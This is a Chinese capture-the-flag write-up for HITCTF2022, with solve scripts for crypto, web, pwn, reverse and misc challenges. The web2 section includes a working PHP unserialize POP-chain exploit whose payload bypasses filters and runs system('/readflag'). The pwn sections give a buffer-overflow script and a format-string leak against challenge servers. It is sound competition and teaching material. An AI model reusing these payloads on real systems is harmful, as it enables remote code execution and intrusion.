HITCTF2022题解

打到第三,最后把RSA想到解法了,还行,已知高位攻击分解 p 的方法还可以学学。

附件下载

Crypto

Crypto1

拿出来是一个16进制,看着像 tar 的文件头,拿到解压,得到 1 文件,文件结构比较乱。看着像base家族,然后拿到 base85转hex之后发现又是熟悉的文件头。

所以可能应该是严重套娃,写个脚本统计字符数,如果发现是 tar 文件头那就直接解压拿文件内容,如果类似 base 家族的信息就 base 解码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import gzip
import base64
import base91
import base58
import base62
from collections import Counter

with open('1','rb')as f:
text=f.read()

def get_count(str1):
c=dict(Counter(str1))
return len(c)

baseX=(get_count(text))
while 1:
baseX=(get_count(text))
print('count:{}'.format(baseX))
if text.startswith(b'\x1f\x8b'):
text=gzip.decompress(text)
elif baseX==85 or baseX==84:
text=base64.b85decode(text)
elif baseX==64 or baseX==65:
text=base64.b64decode(text)
elif baseX==32 or baseX==33:
text=base64.b32decode(text)
elif baseX==58:
text=base58.b58decode(text)
elif baseX==62:
text=bytes.fromhex(hex(base62.decode(text.decode()))[2:])
pass
else:
print(text)
break

flag:HITCTF2022{Y0u_Ar3_Th3_King_0f_Base}

Crypto2

发现就是一个计数器,然后有一个栈结构,实现了 加减乘 取模的结构,题目给了 cmd.txt,实现对各个数的运算,flag 被穿插在了 cmd 中间,于是一开始想到使用 z3,并用这样的思路去模拟:

如果取出的两个数有一个为未知数,那么新建一个未知数,设得到的结果为该未知数,否则就是常数,flag为初始状态唯一的未知数,于是找到脚本去改改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import string
from Crypto.Util.number import *
from z3 import *
from num import *
ss=Solver()
p = 2**607 - 1
print(type(x1))
cnt=1
# def s(a, b):
# return (a + b) % p
#
# def u(a, b):
# return (a - b) % p
#
# def m(a, b):
# return a * b % p

def scan(s):
step=[]
global cnt
while s:
if s[0] in string.ascii_letters:
step.append(s[0])
s = s[1:]
elif s[0] == '[':
s = s[1:]
num = s[:s.index(']')]
if num=='#':
step.append(eval('x{}'.format(cnt)))
cnt+=1
else:
step.append(int(num))
s = s[len(num) + 1:]
else:
raise AssertionError
return step

def calc(s):
global cnt,ss
stack = []
#print(scan(s))
for token in scan(s):
#print(stack)
if type(token) == int:
stack.append(token)
elif type(token) != type(''):
stack.append(token)
else:
b, a = stack.pop(), stack.pop()
if type(a)!=type(1) or type(b)!=type(1):
tmp='x{}'.format(cnt)
cnt+=1
op=''
if token=='s':
op='+'
elif token=='u':
op='-'
else:
op='*'
#print(type(eval(tmp)))
stack.append(eval(tmp))
print("({}{}{})%{}=={}".format(a,op,b,p,tmp))
ss.add(eval("({}{}{})%{}=={}".format(a,op,b,p,tmp)))
else:
#print(a,b)
if token=='s':
v=(a+b)%p
elif token=='u':
v=(a-b)%p
else:
v=a*b%p
stack.append(v)
#print(stack)
#assert len(stack) == 1
return stack[0]

# assert calc('[114514][1919810]s') == 2034324
# assert calc('[114514][1919810]u') == 531137992816767098689588206552468627329593117727031923199444138200403559860852242739162502265229285668889329486246501015346579337652707239409519978766587351943831270835393219029922831
# assert calc('[114514][1919810]m') == 219845122340
# assert calc('[456][789][123]um') == 303696

#from secret import flag
#flag = '\x01'
#flag = int(flag.encode().hex(), base=16)

cmd = open('cmd.txt', encoding='utf8').read()
#cmd = cmd.replace('#', str(flag))
q=(calc(cmd))
#v=211628186767393818556251909887187904577210135303836860239435739472106633529410929587038047765313010325750338075891823682635502490521440215978665151485743439682336190814184610992830040
#ss.add(eval('{}=={}'.format(q,v)))
print(ss.check())
print(ss.model())
long_to_bytes()
#assert calc(cmd) == 211628186767393818556251909887187904577210135303836860239435739472106633529410929587038047765313010325750338075891823682635502490521440215978665151485743439682336190814184610992830040

这里的 num.py就是一开始感觉可能未知数会很多,存了很多z3的未知数放在了 num.py 中。

没想到最后的结果只有 13 个式子

然后我们就是已知x13求 x1 了,本来以为 z3 能求,没想到这么慢,就用python 手算了,当时的终端日志:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
>>> from Crypto.Util.number import *
>>> ans=211628186767393818556251909887187904577210135303836860239435739472106633529410929587038047765313010325750338075891823682635502490521440215978665151485743439682336190814184610992830040
>>> p = 2**607 - 1
>>> ans-=357912307834259213653128634794940914596507256175506043013473144575889601751685024934341011218038398747178612125892760523871786468537993455666648592264307733564175853226677357748565113
>>> ans
-146284121066865395096876724907753010019297120871669182774037405103782968222274095347302963452725388421428274050000936841236283978016553239687983440778564293881839662412492746755735073
>>> ans+=p
>>> ans
384853871749901703592711481644715617310295996855362740425406733096620591638578147391859538812503897247461055436245564174110295359636153999721536537988023058061991608422900472275993054
>>> ans*=inverse(411462633351188704608772808736605191389923045827641716511469308371854121046362931301201375260845451848982856577009623299816324457739774142518892624317933419004496564018161840092441609,p)
>>> ans%=p
>>> ans
418346905060800167260049738638067853961486426712513656666212094740768015121073928933318747489519801460345109750830490811773059261509895197234287326140319651698134732652500878028530814
>>> ans-=405277799051970673662801377723672963663731597810359617329765419659576945597240297480269578668417239423727580929070705786881955931110402398335890389099929008486871336532303266008184849
>>> ans
13069106008829493597248360914394890297754828902154039336446675081191069523833631453049168821102562036617528821759785024891103330399492798898396937040390643211263396120197612020345965
>>> ans*=inverse(266786049503793180671593180171285607267937291386517024152767948485542129161609474025939244637171224835933234460786246192462321233844724721442838436104220216301662441280032397322012869,p)
>>> ans%=p
>>> ans
113703124700679415383479743965644767633594126070651549962364962272435752988984615903023681215001828712939598216346460095306989575968395882257838134421383244651513367699814797977622406
>>> ans-=329413142624682830072062312344664670657676804598199974252482170738455671758477066245274544233089658385383771602659521107081460343229409192986193619974433238593388986719171190288572226
>>> ans
-215710017924003414688582568379019903024082678527548424290117208466019918769492450342250863018087829672444173386313061011774470767261013310728355485553049993941875619019356392310949820
>>> ans+=p
>>> ans*=inverse(509747518370752815356459801084195729310089672054058702183281061987169033803508549887738101604685367942973008687501702092204264485750605361311969988578288525486444957877546554793693797,p)
>>> ans%=p
>>> ans+=165839131146163706086115367996555974012081654422136256245648685955916878221421477398411421659597644170978751681140704059146026898331248207774348535156605590710456443740029571361676159
>>> ans%=p
>>> ans*=inverse(142121702801478829020260933003861049247883466530930799943577455779988122604459669110334205260923754356449343846208954099483456230863726350624778551913564131383628808003460154339600404,p)
>>> ans%=p
>>> ans*=inverse(183071373516520549207577402797386102692277431976907349274136009719534503668840785924520834697959249645197750171829448025189506854326750416465015622082002300707311266953797519604299392,p)
>>> ans%=p
>>> ans=84814702442206743141315418314363700843763684274888674447614037562848731974003165144242888622700246417328307742191053416029770031887073881821630737367508536343638035495945224940047233-ans
>>> ans
-57346359750140432160613879275219263328193373815643163857605651581577450405087145996489449260500259437702860775381384795627277159922495354915571768471542062057852722450670143168549306
>>> ans+=p
>>> ans%=p
>>> ans*=inverse(393926316432640484766273060620865379785410111973395923709856173813361374147800349857401893990151884942524826629432805076866870155732114631381903699794058108179098102490606577881709383,p)
>>> ans%=p
>>> ans-=81400841347738205877353746324299277291277356563154583584412416913743196467840261318987244863470045052929898762129171746639696678721661976384989764957120352119094038687040657495882525
>>> ans
56006392793427440466629830465381697234575472764283528943993409475750880292090685471640666369998009981
>>> hex(ans)
'0x666c61677b61363139633330322d633338352d343130652d383561612d3932613239366330643061367d'
>>> long_to_bytes(ans)
b'flag{a619c302-c385-410e-85aa-92a296c0d0a6}'
>>>

Crypto4

给了我们一个 task.sage,并且告诉了我们公钥生成的式子,告诉了我们

1
2
3
4
# while not is_prime(q):
# p = random_prime(2**512)
# noise = randint(2**50, 2**51) * 2
# q = 1337*(p + noise)**2 + 7331*p + 1

我们已知 n 就可以写一下脚本,去求出 p 的大概范围,这里可以用二分法,然后noise取理论最大值和理论最小值得到一个 p 的范围,并且用 hex 输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from z3 import *
from gmpy2 import iroot
from Crypto.Util.number import *

n=42281223026266109843683409681118610277610017116933717856285160716083325923418899921399912384205533143673068697213953854832112937986299982851528882496119429799676993137756826528817202721177191017404159423747620800036042008776355429046883195301825150458751448035881323000754250515270736764305017665841383652401183801845449690571064432230463927010255349396474019891980511609640555698032077835270181133120180108898601433761334599958033460390265794438104045904718661933
l=1
r=n
x=2**51
while l<r:
p=l+r+1>>1
if p*(1337*(p + x)**2 + 7331*p + 1) <=n:
l=p
else:
r=p-1
small=p

l=1
r=n
x=2**52
while l<r:
p=l+r+1>>1
if p*(1337*(p + x)**2 + 7331*p + 1) <=n:
l=p
else:
r=p-1
big=p
print(hex(small))
print(hex(big))
#0x3c6115276d08deac00dfaf9d48fd0eab3c30f7babcfb7c84c1c9012cf2223ff755d14045772e01b55288fbd9b6c140ca300ca8dbf4ae8c4144261935f1521d57
#0x3c6115276d08deac00dfaf9d48fd0eab3c30f7babcfb7c84c1c9012cf2223ff755d14045772e01b55288fbd9b6c140ca300ca8dbf4ae8c414420c3e09bfcc803

我们可以发现,高位几乎是一模一样的,所以这题可以变成已知高位的一个攻击手段。

去找了一下网上的已知高位攻击的脚本,不过发现生成的 p 并不是 512 位的,多次修改发现是 510 位的才跑出来一个 p 的结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from sage.all import *
n = 42281223026266109843683409681118610277610017116933717856285160716083325923418899921399912384205533143673068697213953854832112937986299982851528882496119429799676993137756826528817202721177191017404159423747620800036042008776355429046883195301825150458751448035881323000754250515270736764305017665841383652401183801845449690571064432230463927010255349396474019891980511609640555698032077835270181133120180108898601433761334599958033460390265794438104045904718661933

p4 =0x3c6115276d08deac00dfaf9d48fd0eab3c30f7babcfb7c84c1c9012cf2223ff755d14045772e01b55288fbd9b6c140ca300ca8dbf4ae8c41442

e = 0x10001
pbits = 510

kbits = pbits - p4.nbits()

p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.3)
#经过以上一些函数处理后,n和p已经被转化为10进制
print(roots)
if roots:
p = p4+int(roots[0])
print ("n: ", n)
print ("p: ", p)
print ("q: ", n/p)
#[1092903380839769]
#n: 42281223026266109843683409681118610277610017116933717856285160716083325923418899921399912384205533143673068697213953854832112937986299982851528882496119429799676993137756826528817202721177191017404159423747620800036042008776355429046883195301825150458751448035881323000754250515270736764305017665841383652401183801845449690571064432230463927010255349396474019891980511609640555698032077835270181133120180108898601433761334599958033460390265794438104045904718661933
#p: 3162316819738671021874985141532340342028040544925325710662118932434889166575989423317260385980164167805568842134780402442191186968988395978308268436614489
#q: 13370331132653610847180343646287913199063770668871642185054921581757749617560745171479786389306694902808163929720980260762843189890327339288619140133731480722660515686245462261353506938861687274006784775386723505176792128169753637065137978713783446674198409489033402181078311992520659985667129162989791255108597

后面就没啥好说了,n 分解了就正常求 rsa 了。

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import *
p=3162316819738671021874985141532340342028040544925325710662118932434889166575989423317260385980164167805568842134780402442191186968988395978308268436614489
c = 3528318136699440157664914506056633597368224752169169950632753898494454158424115366926095425749531868842874771964596508396972663383750763286285034629541063915735387547518003994077453821130849629958388768308449998767664057687468979091006268419207698084959237052794741550442575592311224791991420882101657879291324190611435577370047270182640408743508066884971144331157658093543197683834621836557941029254150133864346305341027175337233841704103517573602775811714443841
n=42281223026266109843683409681118610277610017116933717856285160716083325923418899921399912384205533143673068697213953854832112937986299982851528882496119429799676993137756826528817202721177191017404159423747620800036042008776355429046883195301825150458751448035881323000754250515270736764305017665841383652401183801845449690571064432230463927010255349396474019891980511609640555698032077835270181133120180108898601433761334599958033460390265794438104045904718661933
q=n//p
phi=(p-1)*(q-1)
d=inverse(2**16 + 1,phi)
m=pow(c,d,n)
print(hex(m))
#0x484954435446323032327b706c7a5f666f6375735f6f6e5f6170706c69636174696f6e5f706172745f6f665f63727970746f67726170687924245f615f63616e64795f666f725f796f75725f70617373696f6e2468747470733a2f2f7777772e696163722e6f72672f247d
#to hex:
#HITCTF2022{plz_focus_on_application_part_of_cryptography$$_a_candy_for_your_passion$https://www.iacr.org/$}

Web

web2

题目给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
<?php
// php version 7.4.32
class a{
protected $a1;
private $a2;
private $a3;

public function __unset($unset) {
$this->a2 = [];
if($this->a3){
if($this->a1->{$unset} != []){
$this->a1->{$unset} = $this->a2;
}
}
}

function __clone(){
$cls = $this->a1;
if(is_object($cls)){
return $cls($this->a2); //e __invoke
}
return new stdClass();
}

public function __toString(){
return $this->a1.$this->a2;
}
public function __call($name, $args) {
// do nothing
}
}

class b{
private $b1;
private $b2;

public function __destruct(){
$this->b1->x11();
}
public function __wakeup(){
if (is_object($this->b1) && get_class($this->b1) != e::class) {
if (property_exists($this->b1, $this->b2)){ //$this->b2 为string类型 设置为 d 触发 __toString
unset($this->b1->{$this->b2});
}
}
exit();
}
}

class c{
private $c1;
private $c2;
public function __construct(){
$this->c1 = "are you a hacker?";
}
public function __destruct(){
echo $this->c1;
}
public function __wakeup(){
$this->c1 = "don't hack me!!!";
}
public function __call($name, $args) {
$func = $this->c2[$name];
if(!in_array($func, get_defined_functions())){
$func(...$args);#调用ev1l
}
}
}


class d{
private $d1;
private $d2;

public function __toString() {
if(!isset($this->d1) && isset($this->d2)){
$this->d1 = clone $this->d2; //a __clone
}
return $this->d1.$this->d2;
}
}

class e{
private $e1;
private $e2;
public function __invoke($args){
if($this->e1){
$this->e1->e11($args); #c __call
}

}
public function __get($name){
if(isset($this->e1) && isset($this->e2)){
$this->e1 = $this->e2;
}
return $this->e1;
}
}

class f{
public function ev1l($_){
if($_[0] != $_[1] && $_[0] !== $_[1] && md5($_[0]) === md5($_[1]) && sha1($_[0]) === sha1($_[1]) && strlen((string)$_[0]) < 5 && !is_object($_[0])){
create_function('', $_[2]);
}

}
}
if(isset($_POST['ser'])){
$ser = $_POST['ser'];
if(!preg_match('/ev1l|(s:\d+:)/',$ser) && !preg_match('/\x00|("[a-f]":\d+:\{)/i',$ser) && !preg_match("/\}$/",$ser)){
$obj = unserialize($ser);
throw new Exception("can't destruct");
}else{
die("hacker!");
}

}else{
highlight_file(__FILE__);
}

分析可得调用链如下

1
b::__wakeup -> d::__toString -> a::__clone -> e::__invoke  -> c::__call -> f::ev1l

image-20221127012330144

f::ev1l 函数那的判断用浮点数精度绕过

1
2
md5(0.4) == md5(0.400000000000004)
//true

EXP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
class b{
private $b1;
private $b2;
public function __construct($o){
$this->b1 = $o;
$this->b2 = $o;
}
}

class d{
private $d1;
private $d2;
public function __construct($o){
$this->d2 = $o;
}
}
class a{
protected $a1;
private $a2;
private $a3;
public function __construct($o, $arg){
$this->a1 = $o;
$this->a2 = $arg; //参数
}
}

class e{
private $e1;
private $e2;
public function __construct($o){
$this->e1 = $o;
}
}

class c{
private $c1;
private $c2;
public function __construct(){
$this->c2 = array("e11"=>"f::ev1l");
}
}

$c = new c();
$e = new e($c);
$arg = array(0.4,0.400000000000004,"2;}phpinfo();/*");
$a = new a($e,$arg);
$d = new d($a);
$b = new b($d);
echo urlencode(serialize($b));

还有一段正则过滤要处理

image-20221127011539284

  • ev1l和\x00使用 S: 16进制绕过,顺便绕过第一个正则那的s:\d+:过滤
  • "[a-f]":\d+:\{使用 b":+2:绕过
  • \}$这段使用}test绕过 }后有字符就行

最终payload如下:

1
O:1:"b":%2B2:{S:5:"\00b\00b1";O:1:"d":%2B2:{S:5:"\00d\00d1";N;S:5:"\00d\00d2";O:1:"a":%2B3:{S:5:"\00*\00a1";O:1:"e":%2B2:{S:5:"\00e\00e1";O:1:"c":%2B2:{S:5:"\00c\00c1";N;S:5:"\00c\00c2";a:1:{S:3:"e11";S:7:"f::\65v1l";}}S:5:"\00e\00e2";N;}S:5:"\00a\00a2";a:3:{i:0;d:0.40000000000000002;i:1;d:0.40000000000000402;i:2;S:25:"2;}system("/readflag");/*";}S:5:"\00a\00a3";N;}}S:5:"\00b\00b2";r:2;}test

image-20221127012626182

Pwn

Pwn1

签到题,直接溢出拿 backdoor 获得权限

1
2
3
4
5
6
7
8
9
from pwn import *
#p=process('./pwn_easy')
p=remote('116.255.213.249',9999)
elf=ELF('./pwn_easy')
backdoor=0x8049216
payload=b'a'*0x2c+p32(backdoor)
p.sendafter(b'Please input your username:',payload)
p.interactive()
#HITCTF2022{96A72380-2644-4459-876C-F9E4593E4907}

Pwn2

这题利用格式化字符串的漏洞,我们可以读取 old_flag.txt,但是只是一句无意义的话 flag well tell you the truth about time. 我觉得出题人有侮辱我英语的嫌疑

用下面的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
import re
context.log_level='debug'
p=process('./time')
#p=remote('122.114.225.151',10000)
payload=(b'.%x'*12+b'.%p'*500)[:255]
p.sendlineafter(b'Who are you?',payload)
p.sendlineafter(b'2.old_flag.txt',str(2))

#gdb.attach(p,'b display\nb *0x4013FB')
#p.sendlineafter(b'2.old_flag.txt',str(1))

p.interactive()

读取之后选择选项 1 可以以 8 字节 16 进制的形式输出内容, old_flag.txt就是上面那句话。

但是因为它多线程,并且在读取 old_flag.txt 的时候有一个休眠操作,所以我们可以乘此机会把 old_flag.txt 修改成 flag.txt 再读出来,当时就是随便乱按出来了

flag:HITCTF2022{time-is-a-file-that-wears-and-makes-no-noise}

Pwn4

典型 nim 博弈,只有三个石堆,对于该博弈:若三个石子的异或和为0,则当前出手必输,它在生成的时候强制要求了 三个石子的异或和不能为0,也就是说我们后手我们必输。我们先先手拿下 AI 拿到前半部分的 flag。

后面审计代码的时候发现在选择先手的时候有一个未初始化的漏洞,我们选了 1 不会设置谁先先手,而 2 会设置。于是为了拿后手赢的 flag 我们可以先输一次,然后再拿先手赢的 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
import re
context.log_level='debug'


def do_process():
s=p.recvuntil(b'left')
#print(s.decode())
res=re.search('\| (.*?) left',s.decode()).group(1)
return int(res)

def find(A,B,C):
value=A^B^C
if value==0:
return None,None
if A-(A^value) >=0:
return 'A',A-(A^value)
if B-(B^value) >=0:
return 'B',B-(B^value)
if C-(C^value) >=0:
return 'C',C-(C^value)
return None,None
flag=1#flag=1拿后手,flag=0拿先手
while True:
#p=process('./nimgame')
p=remote('122.114.240.98',10051)

p.sendlineafter(b'y/n','y')
p.sendlineafter(b'plz','xia0ji233')
if flag:
p.sendlineafter(b'1: you go first; 2: AI goes first','2')
while True:
A=do_process()
B=do_process()
C=do_process()
A=do_process()
B=do_process()
C=do_process()
cnt=0
if A==0:
cnt+=1
p.sendlineafter(b'which heap? >','B')
p.sendlineafter(b'how much to take? >',str(B))
break
if B==0:
cnt+=1
p.sendlineafter(b'which heap? >','B')
p.sendlineafter(b'how much to take? >',str(A))
break
if C==0:
cnt+=1
p.sendlineafter(b'which heap? >','B')
p.sendlineafter(b'how much to take? >',str(A))
break
if cnt==0:
p.sendlineafter(b'which heap? >','A')
p.sendlineafter(b'how much to take? >',str(A))

p.sendlineafter(b'y/n','y')
p.sendlineafter(b'1: you go first; 2: AI goes first','1')
while True:
A=do_process()
B=do_process()
C=do_process()
print(A,B,C)
cnt=0
if A==0:
cnt+=1
if B==0:
cnt+=1
if C==0:
cnt+=1
heap,num=find(A,B,C)
if heap==None:
p.shutdown()
quit()
break
p.sendlineafter(b'which heap? >',heap)
p.sendlineafter(b'how much to take? >',str(num))
if cnt==2:
break
A=do_process()
B=do_process()
C=do_process()
p.interactive()
#HITCTF2022{Oh_You_Are_God_of_Nim_&&_GOD_Of_AI_&&_gOd_of_Cpp}

Reverse

Reverse1

SPARC架构的,扔到ghidra里面去反编译,里面 main 函数和 ss 函数比较有用, ss 函数分析到最后得出就是一个除法,最后判断余数是否相等。

它的逻辑就是my_input/1314561==15999967210166348148……163829。

这个稍微反一下就好了flag=15999967210166348148*1314561+163829=21032932895763484787946857

Reverse2

进入 main 函数发现有自带混淆,最后调用了一个 CreateThread 去执行。那么在这里下断点,然后跟进 StartAddress 里面。

然后输入flag 发现,我们的输入在 byte_40401C 中,对此交叉引用来到

发现仅仅对我们的输入进行了 ^0x40。

我们继续往下看,调用了 writeprocessmemory 把我们的代码写到了那个地方,于是分析一下4013A0的代码,发现底下有对我们的结构体逐一比对计算。

我们按顺序重排一下,可以写出下面的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include<stdio.h>
int a=0x12345678;
int main(){
char inp[0x20];
inp[4]=20;
inp[3]=3;
inp[2]=20;
inp[1]=9;
inp[0]=8;
inp[9]=114;
inp[8]=114;
inp[7]=112;
inp[6]=114;
inp[5]=6;
inp[14]=117;
inp[13]=120;
inp[12]=114;
inp[11]=118;
inp[10]=59;
inp[19]=61;
inp[18]=114;
inp[17]=115;
inp[16]=121;
inp[15]=114;
for(int i=0;i<0x20;i++){
//inp[i]^=0x40;
putchar(inp[i]^0x40);
}
//printf("%s",inp);
}

运行得到答案

Reverse4

ida 打开去花指令,call 00001040的指令后两个字节 需要patch 成 0x90,驱动hook 了 idt,DriverEntry 里面的 sub 1420里面的 sub 1170 的参数是Hook ldt的位置,0x1050 是判断flag的位置,然后flag拷贝到了驱动里面。

驱动层 Hook 了 idt,用户层DeviceIOControl 带回来两个个 中断字节 并将其写入MessageBox的头部,用于判断flag的 0xb,0xc,0x13,0x14位,IOControl的处理函数里判断了0xd,0xe,0xf,0x10位,剩下的其他字节可以在用户层找到

flag:HITCTF2022{991048756}

Misc

Misc3

Misc3

拿到手是一个后缀名为jpg格式的文件,但用图片查看器无法查看,拖入010中检查发现首部有一小段神似png文件格式

Snipaste_2022-11-27_16-17-45

套入PNG模板后根据经验修改文件头和文件尾,但是搜索发现文件中已然存在一个文件尾,不过不在文件的最后面

Snipaste_2022-11-27_16-18-57 Snipaste_2022-11-27_16-33-53

直接将后面的部分删去

Snipaste_2022-11-27_16-35-04

保存之后发现可以查看图片了,但是图片显示一个小白条

Snipaste_2022-11-27_16-35-15

猜测可能是图片的宽和高不太够导致图片显示不全,但在改大宽高之后010报错了

Snipaste_2022-11-27_16-38-05

于是只能准确一些,用脚本配合文件的CRC跑出正确的宽和高

Snipaste_2022-11-27_16-35-58

得到图片

misc3

输入发现不是flag,卡了一段时间,突然醒悟,先前删去的文件尾端的东西是不是有用,于是重新捡回来

因为拿到了一个password,猜测可能是图片隐写的密码或者是压缩包解压密码,多次尝试和观察后,发现原文件尾端的数据的开头转16进制,神似打乱了的7z文件的文件头,于是修改一下文件头

Snipaste_2022-11-27_17-24-41

果然是个压缩包

Snipaste_2022-11-27_17-25-05

解压获得flag

Snipaste_2022-11-27_17-25-38

Snipaste_2022-11-27_17-26-53
文章目录
  1. 1. Crypto
    1. 1.1. Crypto1
    2. 1.2. Crypto2
    3. 1.3. Crypto4
  2. 2. Web
    1. 2.1. web2
  3. 3. Pwn
    1. 3.1. Pwn1
    2. 3.2. Pwn2
    3. 3.3. Pwn4
  4. 4. Reverse
    1. 4.1. Reverse1
    2. 4.2. Reverse2
    3. 4.3. Reverse4
  5. 5. Misc
    1. 5.1. Misc3
      1. 5.1.1. Misc3
|